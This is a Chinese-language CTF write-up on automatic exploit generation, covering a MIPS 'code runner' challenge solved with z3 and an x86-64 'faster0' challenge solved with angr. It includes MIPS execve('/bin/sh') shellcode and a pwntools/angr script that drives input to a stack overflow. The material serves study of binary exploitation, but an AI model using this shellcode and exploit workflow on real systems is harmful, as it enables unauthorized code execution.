Automatic Exploitation Generation,没有遇到过这样的题目,记录一下。
De1CTF 2020 code runner 比赛过程中没有做出来,趁着环境还在赶紧复现一下。
主要的参考材料:
简单分析 没有附件,直接nc服务器:
1 2 3 4 5 ➜ code_runner nc 106.53.114.216 9999 =========Pow======== hashlib.sha256(s).hexdigest() == "8e2a3a28577ababd200796a8f82a65e0793581af3388b8cf2fa1a3485466d68a" len(s) == 3 >
嗯3字节的pow直接爆破就可以了。
之后程序会给你base64的dump,解密之后是个gzip文件,用gunzip解压拿到bin。file一下是个mips程序。
1 2 3 4 5 6 7 8 9 10 11 ➜ code_runner file bin bin: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld., for GNU/Linux 3.2.0, BuildID[sha1]=dcbddacdb51901806b57c634286e3faa3d72bd11, stripped ➜ code_runner checksec bin [!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED) [*] '/home/keenan/Desktop/De1ctf/code_runner/bin' Arch: mips-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
checksec看到NX关闭可能是个写shellcode的题目。
需要注意的是每次nc拿到的程序都不同。所以需要自动化的分析和攻击。
没怎么接触过MIPS的题目,搭环境。
继续分析 比赛的时候用各种qemu-mips*都没有成功运行起来程序,应该是下载的libc不对;运行不起来显然也不能gdb attach。看WP复现的时候发现arm_now可以,安装的步骤这里省略,github搜一下就好。
1 arm_now start mips32el --sync --redir tcp:1337:1337
用mips32el的环境,--sync
表示同步当前文件夹,后面redir是转发端口方便调试。
运行的时候如果报错:qemu-system-mipsel: -nic: invalid option
,可以直接跑qemu的命令。
1 2 3 4 5 6 7 8 9 10 11 > qemu-system-mipsel \ > -kernel arm_now/kernel \ > -hda arm_now/rootfs.ext2 \ > -append 'root=/dev/hda console=ttyS0 rw physmap.enabled=0 noapic' \ > -m 256M \ > -nographic \ > -serial stdio \ > -monitor null \ > -gdb tcp::1337 \ > -no-reboot >
用户为root:
1 2 3 4 5 6 7 8 > # ls > bin wget-log wget-log.2 wget-log.4 wget-log.6 > exp.py wget-log.1 wget-log.3 wget-log.5 wget-log.7 > # ./bin > > Faster > > aaaa >
现在可以正常执行。但是gdb连接有些问题,暂时存疑。
拿到bin可以开始逆向了,使用Ghidra等工具都可以。
首先看一下main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 void * main (unsigned int param0, void * param1, void * __nbytes, unsigned int param3) { unsigned int v0 = *gvar_4140A0; gettimeofday(&v4, 0 ); __nbytes = 256 ; param1 = 0 ; memset (&v5, 0 , 256 ); void * ptr0 = &v5; sub_401DDC(&v5, 0 , 256 , param3); void * result = sub_401EA4(&v5, 0 , 256 , param3); if (!((unsigned char )(((int )result) == 0 ))) { gettimeofday(&v6, 0 ); unsigned int v1 = (v6 - v4) * 1000000 + v2 - v3; result = __divdi3(v1, 0 , 1000000 , 0 ); void * ptr1 = result; result = __moddi3(v1, 0 , 1000000 , 0 ); __nbytes = ptr1; printf ("======== %lld.%llds ========\n" ); sub_401F80(v1, 0 , __nbytes, 0 ); puts ("Your time comes.\n> " ); __nbytes = 100000 ; param3 = 0 ; param1 = 0 ; result = __divdi3(v1, 0 , 100000 , 0 ); void * ptr2 = result; if (!((unsigned char )(((int )result) >= 13 ))) { __nbytes = ((unsigned int )(0 - ((int )result))) * 4 + 52 ; param1 = &v5; read(0 , &v5, __nbytes); } ptr0(); } result = 0 ; if (!((unsigned char )(((int )(**&gvar_4140A0)) == v0))) { result = __stack_chk_fail(v0, param1, __nbytes, param3); } return result; }
我们的数据通过sub_401EA4
校验,如果返回的result是0,失败,不为0,成功,进入下面的分支。
注意这里:
1 2 3 4 5 6 7 if (!((unsigned char )(((int )result) >= 13 ))) { __nbytes = ((unsigned int )(0 - ((int )result))) * 4 + 52 ; param1 = &v5; read(0 , &v5, __nbytes); } ptr0();
如果满足result < 13,就可以读入v5的内容,并调用了ptr0();
,而ptr是栈上v5的地址,这个地方相当于直接把v5的内容执行,也就是执行我们输入的shellcode。(太菜了,比赛的时候没注意到这里)。
这样思路就很简单了:
通过逆向拿到能让result不为0的输入
准备能getshell的shellcode
那来看一下输入的要求是什么。
1 2 3 4 5 6 7 8 9 10 11 12 13 void * sub_401EA4 (unsigned int param0, void * param1, unsigned int param2, unsigned int param3) { unsigned int v0 = *gvar_4140A0; memset (&v1, 0 , 256 ); puts ("Faster > " ); read(0 , &v1, 256 ); void * result = sub_401CD4(&v1, &v1, 256 , param3); if (**&gvar_4140A0 != v0) { result = __stack_chk_fail(v0, &v1, 256 , param3); } return result; }
读入了0x100个字节,处理在sub_401CD4
。然后找到:
1 2 3 unsigned int sub_401C0C (unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) { return ((unsigned int )(*(param0 + 3 ))) + ((unsigned int )(*param0)) == 21 || ((unsigned int )(*(param0 + 1 ))) + ((unsigned int )(*param0)) == 195 || ((unsigned int )(*(param0 + 1 ))) + ((unsigned int )(*(param0 + 2 ))) == 18 ? 0 : sub_401ADC(param0 + 4 , param1, param2, param3); }
整理一下:
1 2 3 4 5 unsigned int sub_401C0C (unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) { return ((*(param0 + 3 ))) + ((*param0)) == 21 || ((*(param0 + 1 ))) + ((*param0)) == 195 || ((*(param0 + 1 ))) + ((*(param0 + 2 ))) == 18 ? 0 : sub_401ADC(param0 + 4 , param1, param2, param3); }
相当于要求
1 buf[3 ] + buf[0 ] == 21 && buf[1 ] + buf[0 ] == 195 && buf[1 ] + buf[2 ] == 18
也就是校验了buf的前4个字节。之后调用sub_401ADC
1 2 3 unsigned int sub_401ADC (unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) { return ((unsigned int )(*(param0 + 1 ))) + ((unsigned int )(*(param0 + 2 ))) + ((unsigned int )(*param0)) != 521 || ((unsigned int )(*(param0 + 1 ))) + ((unsigned int )(*(param0 + 2 ))) + ((unsigned int )(*(param0 + 3 ))) != 440 || ((unsigned int )(*(param0 + 2 ))) + ((unsigned int )(*(param0 + 3 ))) + ((unsigned int )(*param0)) != 493 || ((unsigned int )(*(param0 + 3 ))) + ((unsigned int )(*(param0 + 1 ))) + ((unsigned int )(*param0)) != 373 ? 0 : sub_401A28(param0 + 4 , param1, param2, param3); }
形式类似。对于这种校验模式有一个专业的名字叫线性 ,也就是前4个字节不正确后面的就不会处理,前4个字节正确才会处理之后的4个字节,以此类推。
初识angr angr是一个以前听过的工具,可以自动化的分析。
A powerful and user-friendly binary analysis platform! http://angr.io
https://github.com/angr/angr
根据主页可以看到这个工具可以干很多有趣的事情,例如符号执行:
Disassembly and intermediate-representation lifting
Program instrumentation
Symbolic execution
Control-flow analysis
Data-dependency analysis
Value-set analysis (VSA)
Decompilation
安装按照官网即可:https://docs.angr.io/introductory-errata/install
需要注意以下mkvirtualenv可能不在/usr/bin而在/usr/local/bin下一个sh文件。
1 2 source "/usr/local/bin/virtualenvwrapper.sh" export WORKON_HOME=$HOME /Python-workhome
安装如果报错minidump的话应该是python不到3.6,升级一下。升级的时候搜到的加apt仓库的基本不行,因为那个仓库不能用了…参考下源码编译安装:https://medium.com/@moreless/install-python-3-6-on-ubuntu-16-04-28791d5c2167
安装:
1 mkvirtualenv --python=$(which python3.6) angr && pip3.6 install angr
先创建了虚拟环境之后安装,主要是为了避免影响到其他程序。
1 2 3 4 5 6 (angr) ➜ code_runner python3.6 Python 3.6.3 (default, May 6 2020, 03:06:26) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import angr >>>
退出环境之后,如果想重新使用angr,通过workon指令重新进入即可。
1 2 3 4 ➜ code_runner workon angr ➜ code_runner workon angr (angr) ➜ code_runner
创建环境 mkvirtualenv env1
mkvirtualenv env2
环境创建之后,会自动进入该目录,并激活该环境。
切换环境 workon env1
workon env2
列出已有环境 workon
退出环境 deactivate
删除环境 rmvirtualenv
根据WP上的angr脚本:
1 2 3 4 5 6 7 import angrp = angr.Project("./bin" ) state = p.factory.blank_state(addr=0x401e88 ) sm = p.factory.simgr(state) sm.explore(find=0x400b30 ) print(sm.found[0 ].posix.dumps(0 ))
我并没有运行成功,看WP说这个也是不好的做法,比较慢,约15分钟。于是提到了另一个求解工具:z3 solver。
初识z3-solver 同样也是听过几次名字的工具,似乎在密码学和逆向的题目中经常用到。
z3是由微软公司开发的一个优秀的SMT求解器(也就定理证明器),它能够检查逻辑表达式的可满足性。z3 solver是python的一个库,通过from z3 import *
即可使用,大概就是输入一些条件求解出符合要求的输出。对于多解的问题也可以求出。看起来是算逻辑题目的好工具:https://www.7forz.com/3255/
z3的语法现学一下就好了。先举一个简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from z3 import *p = map(int, [0 , 1 , 2 , 3 ]) s = Solver() a = BitVec('a' , 32 ) A = [a & 0xff , (a >> 8 ) & 0xff , (a >> 16 ) & 0xff , (a >> 24 ) & 0xff ] s.add(A[0 ] == 0x10 ) s.add(A[1 ] == 0x20 ) s.add(A[2 ] == 0x30 ) s.add(A[3 ] == 0x40 ) print sprint s.check()m = s.model() print mprint hex(m[a].as_long())
这里把4个字节当作一个整数看,A分别是第0-3个字节对应的数。输出:
1 2 3 4 5 6 7 8 9 ➜ code_runner python z3_script.py [a & 255 == 16, a >> 8 & 255 == 32, a >> 16 & 255 == 48, a >> 24 & 255 == 64] sat [a = 1076895760] 1076895760 0x40302010
回顾一下之前的分析结果:
1 2 3 4 5 unsigned int sub_401C0C (unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) { return ((*(param0 + 3 ))) + ((*param0)) == 21 || ((*(param0 + 1 ))) + ((*param0)) == 195 || ((*(param0 + 1 ))) + ((*(param0 + 2 ))) == 18 ? 0 : sub_401ADC(param0 + 4 , param1, param2, param3); }
这里面有三个条件约束,可以写出这样的z3求解脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 from z3 import *s = Solver() v1 = BitVec('v1' , 8 ) v2 = BitVec('v2' , 8 ) v3 = BitVec('v3' , 8 ) v4 = BitVec('v4' , 8 ) s.add(v4 + v1 == 21 ) s.add(v2 + v1 == 195 ) s.add(v2 + v3 == 18 ) print s.check()
得到的是sat
,说明存在解,且这里面解不唯一,因为四个未知数三个约束条件。
模式归类 以上面的为例,其模式可以总结为:
1 2 3 4 5 type 1: s[0] + s[1] != ? s[1] + s[2] != ? s[2] + s[3] != ? s[3] + s[0] != ?
上面的是三个条件,不知道为何…看WP是一共6种模式,这是其中一个。
剩余的模式可以总结为:
1 2 3 4 5 type 2: s[0] + s[1] + s[2] == ? s[1] + s[2] + s[3] == ? s[2] + s[3] + s[0] == ? s[3] + s[0] + s[1] == ?
1 2 3 4 5 type 3: s[0] == ? s[3] == ? s[1] == s[3] s[2] == s[0]
1 2 3 4 5 type 4: s[1] == ? s[2] == ? s[1] * s[1] == s[3] s[2] * s[2] + s[3] * s[3] - s[1] * s[1] == s[0]
1 2 3 type 5: |s[3] * s[3] - s[0] * s[0]| ? |s[2] * s[2] - s[3] * s[3]| // 符号不确定 |s[3] * s[3] - s[2] * s[2]| ? |s[0] * s[0] - s[1] * s[1]|
以上是在一个bin中发现的模式,所以看起来每个bin中用到的模式还挺多的。官方WP中还有第六种。
1 2 3 4 5 type 6: s[1] ^ s[0] == ? s[1] == ? (s[1] ^ s[0]) << 1 == s[2] s[1] ^ s[0] ^ s[2] == s[3]
官方WP中这里的第三个规则写的是s[2] == ((s[0]^s[1]&0x7f)*2)%256
和官网WP的对应关系:
官网WP的type
1
2
3
4
5
6
我编号的type
5
1
2
4
6
2
OK…通过重复一个步骤的变种来增加工作量呗。
大体思路 现在基本可以明确的思路为:
完成pow等步骤拿到bin文件
通过分析二进制文件内容,首先识别是哪一个type,再通过z3求解出满足条件的此4个字节,并最终拿到完成的输入
输入getshell的shellcode
MIPS的shellcode应该也比较容易:
1 2 3 4 5 6 7 8 9 li $a0,0x6e69622f # nib/ sw $a0,0($sp) li $a0,0x68732f # hs/ sw $a0,4($sp) move $a0,$sp li $v0,4011 li $a1,0 li $a2,0 syscall
调用asm
之前指定context.arch='mips'
。
难点(不想下手的原因) 从出题角度来看,应该由服务器通过随机生成源程序编译之后获得。
问题1
如何识别是6个模式中的哪一种模式?我们似乎需要找到一个特征值,可以通过它来确定是哪一个模式。
问题2
如果已经确定是哪一种模式,如何正确取出关键的数据?如进行比较的值为多少,判断使用的是大于or小于or等于or不等于,编译是否会进行优化使得我们分析错误?
目前唯一一个安慰自己的点在于使用的是MIPS的架构,指令等长,比较起来应该容易很多,如果是变长的话应该很难分析了,或者用反汇编出来的结果而不是比较机器码。
胡乱(脱坑)分析 没有什么继续下去的兴趣了。后面的工作似乎都是谷歌工具如何使用+分情况讨论+复制粘贴代码加修改的任务了。从出发点来看我认为这个题目还是比较有新意的,自动化攻击的题目的确比较少,主要限制的点在于,如果要自动攻击势必要使用工具,这就使得漏洞类型要比较简单,变的基本就是攻击的参数,例如栈溢出的padding等。看起来这里认为这样过于简单,于是加上了逆向的部分,并做了变异使得情景更多写脚本更麻烦。
如果这道题目如下修改:保留MIPS架构,但逆向部分的长度剪短,减少逆向的模式,我认为更合适。保留难度的同时可以让更多选手了解自动化的工具。让一个题目变“好”不应该通过单纯增加重复性的工作量/计算量来实现,“好”的题目也不应该和做出来人数少的题目画等号。好的题目应该让选手觉得打开了一扇大门,而不是紧闭了一扇大门。以上只是萌新的个人观点😀。
Wangding 2020 faster0 简单分析 这道题目似乎是更适合入门angr。比赛的时候开始的pow就省略了。随机选pow的函数意义何在呢🙃
完成pow之后解压脱壳,到手一个64ELF,并提供了运行该程序的docker接口。程序是没有去符号的。
main函数从func000进入,每一个函数长的差不多:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 __int64 __fastcall func000 (__int64 a1, __int64 a2) { int v2; __int64 result; v2 = nums++; if ( v2 ) exit (-1 ); read_one(); switch ( (unsigned int )off_406034 ) { case 0u : result = func001(); break ; case 1u : result = func089(); break ; case 2u : result = func079(); break ; case 3u : result = func002(); break ; case 4u : result = func091(); break ; case 5u : result = func046(); break ; case 6u : result = func042(); break ; case 7u : result = func072(); break ; case 8u : result = func055(); break ; case 9u : result = func066(); break ; default : result = func000(a1, a2); break ; } return result; }
又一个计数器要求匹配,也就是需要从func000到func0001到func002,最后通过func099进入到func100:
1 2 3 4 5 6 7 8 9 10 11 ssize_t func100(){ char buf; char v2; v2 = getchar(); if ( v2 != 10 ) exit (-1 ); write(1 , "WOW,U R GREAT !\n" , 0x10 uLL); return read(0 , &buf, 0x200 uLL); }
奖励就是一个栈溢出。
我们这次的目标重点在如何求解出从func000到func100的路径上。
已知条件 由于程序是有符号 的,所以在pwntools中可以直接拿到每一个func的地址。
在比赛的时候,以为不熟悉angr,当时的想法是想通过文件偏移的方式,把func里每一个case里call的值提取出来,再拿到对应的输入:
1 2 3 mov eax, 0 call func001 jmp short loc_40097E
具体就是查找mov eax, 0这个语句的字节码,然后把call的位置取出,通过比较call的地址得出是那个输入能够进入下一个func。不过写了代码之后发现只能算对前几个func的输入,之后会出错。主要原因应该是这种找call地址的方法并不准确,可能找到了其他的代码。
现在已知每个func的地址,其实就是想得出从func x进入到func x+1的输入,并且我们知道输入是0-9中的一个。路径的起始位置是func000,终止位置是func100。
在通过angr符号执行时,我们的目标是func地址+0x26的call read_one的位置开始,并且不执行exit函数。
熟悉语法 构造输入
这里使用claripy来构造输入,功能类似于z3,一些常用的语法:
1 2 claripy.BVS() 创建位向量符号(不是值) claripy.BVV() 创建位向量值 (不是符号)
常见的场景是BVS表示要求解的量,BVV表示已经计算出的量。
1 argv1 = claripy.BVS("argv1",100*8) # 创建一个800bit的符号argv1
在运行程序的时候将其设置为参数:(输入的话就是stdin=)
1 initial_state = p.factory.entry_state(args=["./ais3_crackme",argv1])
之后初始化simulation_manager,设置find和avoid。
拼接
1 flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
可以作为stdin的参数了。
约束输入
1 2 3 for k in flag_chars: st.solver.add(k != 0) st.solver.add(k != 10)
这样执行起来效率更高避免无效的输入。
运行
一般用explore()
即可。
参考:https://xz.aliyun.com/t/4039
感觉和题目越来越像了hhhh。
编写利用 从func000到func001 先把基本的操作完成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *import angrimport claripyelf = ELF('./pwn' , checksec=False ) p = angr.Project('./pwn' , auto_load_libs=False ) func_addr = [] for i in range(101 ): func_name = 'func%03d' % i func_addr.append(elf.sym[func_name]) start_addr = [_ + 0x27 for _ in func_addr] start_addr[0 ] -= 1 lose_addr = elf.plt['exit' ]
主要就是把100个func地址拿出来,然后计算call read_one的地址作为每次求解的目标地址,lose_addr是exit的地址。key是我们要求解的输入。
这里的win和lose可能有点绕:
假如现在在func000,如果输入正确,可以进入func001,不会退出
如果输入错误,会进入其他func,在检查num的时候会exit,所以lose设置为exit的地址
简单的说就是剪枝啦。
然后是求第一次输入的部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def cal_key () : key = b'' win = start_addr[1 ] print(hex(win)) key_list = [claripy.BVV(key)] key_list += [ claripy.BVS(b'func000' , 8 ) ] key = claripy.Concat(*key_list) print(key) init_state = p.factory.full_init_state( args = ['./pwn' ], stdin = key ) for i in key_list[1 ::]: init_state.solver.add(i >= b'0' ) init_state.solver.add(i <= b'9' ) simgr = p.factory.simgr(init_state) simgr.explore( find = win, avoid = lose_addr ) print(simgr.found[0 ].posix.dumps(0 )) cal_key()
运行结果为:
看一下是对的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 __fastcall func000 (__int64 a1, __int64 a2) { int v2; __int64 result; v2 = nums++; if ( v2 ) exit (-1 ); read_one(a1, a2); switch ( (unsigned int )off_406034 ) { case 0u : result = func001(a1, a2); break ;
并且这一步非常快,大概2秒钟左右。
从func000到func090 基本上现在求解func x 到 func x+1 是没有问题了。但是如果直接求从func000到func100似乎时间会比较长。所以我们分成10步,每次求解10个输入,避免angr多次准备模拟的耗时。
上次我们的cal_key还没有设置参数,为了方便之后的多轮计算我们做如下修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def cal_key (win, key) : finished_length = len(key) key_list = [claripy.BVV(key)] key_list += [ claripy.BVS(b'func%3d' % (i+finished_length), 8 ) for i in range(10 ) ] key = claripy.Concat(*key_list) print(key_list) print(key) init_state = p.factory.full_init_state( args = ['./pwn' ], stdin = key ) for i in key_list[1 ::]: init_state.solver.add(i >= b'0' ) init_state.solver.add(i <= b'9' ) simgr = p.factory.simgr(init_state) simgr.explore( find = win, avoid = lose_addr ) result = simgr.found[0 ].posix.dumps(0 ) print(result) return result for i in range(10 , 100 , 10 ): key = cal_key(start_addr[i], key)
这里之所以只算了前90个输入是因为如果算100个需要加个回车。
从func000到func100 纠正一下最后的win_addr不是func100+0x26,这里设为fuc100中call _read的地址。完整的脚本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *import angrimport claripyelf = ELF('./pwn' , checksec=False ) p = angr.Project('./pwn' , auto_load_libs=False ) func_addr = [] for i in range(101 ): func_name = 'func%03d' % i func_addr.append(elf.sym[func_name]) start_addr = [_ + 0x27 for _ in func_addr] start_addr[0 ] -= 1 lose_addr = elf.plt['exit' ] key = b'' def cal_key (win, key, last_round = False) : finished_length = len(key) key_list = [claripy.BVV(key)] key_list += [claripy.BVS(b'func%3d' % (i+finished_length), 8 ) for i in range(10 )] if not last_round: key = claripy.Concat(*key_list) else : key = claripy.Concat(*key_list + [claripy.BVV(b'\n' )]) init_state = p.factory.full_init_state( args = ['./pwn' ], stdin = key ) for i in key_list[1 ::]: init_state.solver.add(i >= b'0' ) init_state.solver.add(i <= b'9' ) simgr = p.factory.simgr(init_state) simgr.explore( find = win, avoid = lose_addr ) result = simgr.found[0 ].posix.dumps(0 ) print(result) return result win_addr = 0x405F44 for i in range(10 , 100 , 10 ): key = cal_key(start_addr[i], key) key = cal_key(win_addr, key, True ) r = process('./pwn' ) r.send(key) r.interactive()
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 DEBUG | 2020-05-13 20:45:56,714 | pwnlib.elf.elf | PLT 0x400640 write DEBUG | 2020-05-13 20:45:56,717 | pwnlib.elf.elf | PLT 0x400650 setbuf DEBUG | 2020-05-13 20:45:56,720 | pwnlib.elf.elf | PLT 0x400660 memset DEBUG | 2020-05-13 20:45:56,721 | pwnlib.elf.elf | PLT 0x400670 alarm DEBUG | 2020-05-13 20:45:56,721 | pwnlib.elf.elf | PLT 0x400680 read DEBUG | 2020-05-13 20:45:56,723 | pwnlib.elf.elf | PLT 0x400690 getchar DEBUG | 2020-05-13 20:45:56,723 | pwnlib.elf.elf | PLT 0x4006a0 atoi DEBUG | 2020-05-13 20:45:56,724 | pwnlib.elf.elf | PLT 0x4006b0 exit b'0546503881' b'05465038819490628756' b'054650388194906287565254576748' b'0546503881949062875652545767480941574417' b'05465038819490628756525457674809415744177513779929' b'054650388194906287565254576748094157441775137799299243878739' b'0546503881949062875652545767480941574417751377992992438787396781787602' b'05465038819490628756525457674809415744177513779929924387873967817876021552406073' b'054650388194906287565254576748094157441775137799299243878739678178760215524060735651998312' b'0546503881949062875652545767480941574417751377992992438787396781787602155240607356519983128340814436\n' [+] Starting local process './pwn': pid 16811 INFO | 2020-05-13 20:47:48,577 | pwnlib.tubes.process.process.140325705267072 | Starting local process './pwn' INFO | 2020-05-13 20:47:48,588 | pwnlib.tubes.process.process.140325705267072 | Starting local process './pwn': pid 16811 [*] Switching to interactive mode INFO | 2020-05-13 20:47:48,590 | pwnlib.tubes.process.process.140325705267072 | Switching to interactive mode WOW,U R GREAT ! $
一次完整的求解需要的时间大概在2分钟左右。比赛时提供的5分钟docker看来是绰绰有余的。
这样求解输入的部分就OK了。后面的栈溢出就easy了。不过比赛过程中似乎通过ROP调用system binsh不能正常getshell,最后通过syscall来实现的。
体会 其实最后写出来脚本也挺短的,不过其中遇到了很多跑不出来的时候,主要是算错win的地址。
感觉类似的AEG的题目可以拿来出好玩的KoH题目,最先跑出结果的为king。出题时的key按照某个特定的模式/规律生成,选手在能够自动求出key的基础上需要分析背后的模式来 提高angr的求解速度。
在几年前的defcon就出现了类似的AEG的题目,Defcon还是强啊。